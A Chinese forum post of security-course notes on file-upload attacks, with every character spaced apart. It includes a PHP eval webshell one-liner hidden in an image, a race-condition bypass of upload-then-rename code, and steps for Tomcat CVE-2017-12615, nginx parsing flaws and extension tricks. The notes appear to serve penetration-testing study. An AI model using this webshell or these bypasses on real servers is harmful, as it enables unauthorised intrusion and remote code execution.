搜索

[1980] 2021-08-05_文件上传_day16

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-16
2021-08-05_文件上传_day16 文 件 上 传 _ d a y 1 6 原 创   一 步 一 个 脚 印   D e m 0   2 0 2 1 - 0 8 - 0 5 1 . 文 件 包 含 漏 洞 执 行 首 先 制 作 一 个 图 片 马   用 n o t e p a d 打 开   百 度 翻 译 的 图 片 或 者 打 开 图 片 所 在 位 置 通 过 c m d 写 入 上 传 到   服 务 器 < ? p h p   @ e v a l ( $ _ P O S T [ " s h e l l " ] ) ;   ? >
复 制 图 片 u r l 地 址 将   f i l e 赋 值   为 图 片 路 径 由 于 采 用 p o s t 写 的   所 以   将   s h e l l 进 行 赋 值 一 个   p h p i n f o ( ) ;
触 发 ! ! g e t i m a g e s i z e   函 数 是 一 个 获 取 图 片 大 小 的 函 数   长 宽 高   相 当 于 过 滤   比 如 上 传 一 个 . p h p 就 获 取 不 到   长 宽 高 e x i f _ i m a g e t y p e 函 数 获 取 图 片 类 型 逻 辑 漏 洞 : ( 资 源 占 用 )   如 果 一 个 文 件   在 编 辑 的 状 态 你 去 删 除 或 者 重 命 名   肯 定 是 拒 绝 的   这 个 时 候   比 如 以 下 代 码   是 先 上 传 然 后 进 行 重 命 名   在 进 行   过 滤   这 个   时 候 我 们 就 可 以   通 过 b u r p s u i t e 进 行 不 断 发 包   从 而 进 行 上 传         i f ( m o v e _ u p l o a d e d _ f i l e ( $ t e m p _ f i l e ,   $ u p l o a d _ f i l e ) ) {                 i f ( i n _ a r r a y ( $ f i l e _ e x t , $ e x t _ a r r ) ) {                           $ i m g _ p a t h   =   U P L O A D _ P A T H   .   ' / ' .   r a n d ( 1 0 ,   9 9 ) . d a t e ( " Y m d H i s " ) . " . " . $ f i l e _ e x t ;                           r e n a m e ( $ u p l o a d _ f i l e ,   $ i m g _ p a t h ) ; i m a g e c r e a t e f r o m j p e g           / / 获 取 图 片 是 否 为 j p g 类 型 i m a g e c r e a t e f r o m p n g         / / 获 取 图 片 是 否 为 p n g 类 型 i m a g e c r e a t e f r o m g i f         / / 获 取 图 片 是 否 为 g i f 类 型 $ i s _ u p l o a d   =   f a l s e ; $ m s g   =   n u l l ; i f ( i s s e t ( $ _ P O S T [ ' s u b m i t ' ] ) ) {         $ e x t _ a r r   =   a r r a y ( ' j p g ' , ' p n g ' , ' g i f ' ) ;         $ f i l e _ n a m e   =   $ _ F I L E S [ ' u p l o a d _ f i l e ' ] [ ' n a m e ' ] ;         $ t e m p _ f i l e   =   $ _ F I L E S [ ' u p l o a d _ f i l e ' ] [ ' t m p _ n a m e ' ] ;         $ f i l e _ e x t   =   s u b s t r ( $ f i l e _ n a m e , s t r r p o s ( $ f i l e _ n a m e , " . " ) + 1 ) ;         $ u p l o a d _ f i l e   =   U P L O A D _ P A T H   .   ' / '   .   $ f i l e _ n a m e ;                           $ i s _ u p l o a d   =   t r u e ;                 } e l s e {
这 里 我 们 利 用 一 个 因 为 这 个 地 方 随 便 改   不 会 报 错                         $ m s g   =   " 只 允 许 上 传 . j p g | . p n g | . g i f 类 型 文 件 ！ " ;                         u n l i n k ( $ u p l o a d _ f i l e ) ;                 }         } e l s e {                 $ m s g   =   ' 上 传 出 错 ！ ' ;         } } u s e r a g e n t
我 们 发 现 在 不 断 的 闪 1 1 1 . p h p
关 于 目 录 命 名 -   x . p h p / . 由 于 代 码 中 包 括 我 们 可 以 在 上 传 文 件 的 时 候 加 入   利 用 b u r p s u i t e 修 改 数 据 包 中 的 文 件 后 缀 或 者 直 接 改 即 可 ! ! $ i m g _ p a t h   =   U P L O A D _ P A T H   .   ' / '   . $ f i l e _ n a m e ;
C V E - 2 0 1 7 - 1 2 6 1 5 复 现 复 现 : 首 先 要 访 问 搭 建 好 的 网 站 抓 包   改 包
2 . j s p 为 文 件 名 字   这 个 2 . j s p 写 有 后 门 代 码   我 们 访 问 i d 访 问 p w d n g i n x 文 件 解 析 漏 洞 : 上 传 图 片 马
发 现 可 以 解 析 发 现 可 以 执 行 p h p   我 们 在 这 利 用 p h p i n f o
渗 透 思 路 : 先 看 网 站 的 中 间 件 版 本 ( 通 过 浏 览 器 的 数 据 包 ) 然 后 百 度 查 中 间 件 漏 洞   有 的 话 直 接 利 用 没 有 继 续 向 下
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理